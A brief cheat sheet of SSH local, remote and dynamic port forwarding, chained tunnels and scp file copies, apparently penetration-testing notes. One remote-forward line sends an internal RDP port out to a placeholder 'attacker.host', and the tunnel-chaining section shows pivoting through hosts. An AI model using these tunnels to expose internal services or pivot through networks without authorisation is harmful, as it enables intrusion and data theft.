local port forward
ssh -L 8443:127.0.0.1:8443 [email protected]
ssh -i id_rsa.key -L 6969:127.0.0.1:6969 [email protected]
remote port forward
ssh -R 5901:127.0.0.1:5901 [email protected]
ssh -l root -t -t -R 3389:10.10.10.1:3398 attacker.host
ssh -D 5555 [email protected] -p 5555
Joining Tunnels Together
Machine A: ssh -D 5555 user@machineA -p5555
Machine B: ssh user@machineA -D 5555
Machine C: ssh user@machineB -L 5555:localhost:5555
Local (file) to remote host specifying remote port
scp -P 1337 file.zip [email protected]:/remote/dir/file.zip
Local (directory) to remote host using default port 22
scp /local/dir/ [email protected]:/remote/dir/
Remote host A to remote host B
scp [email protected]:/host_a/dir/file.zip [email protected]:/host_b/dir/file.zip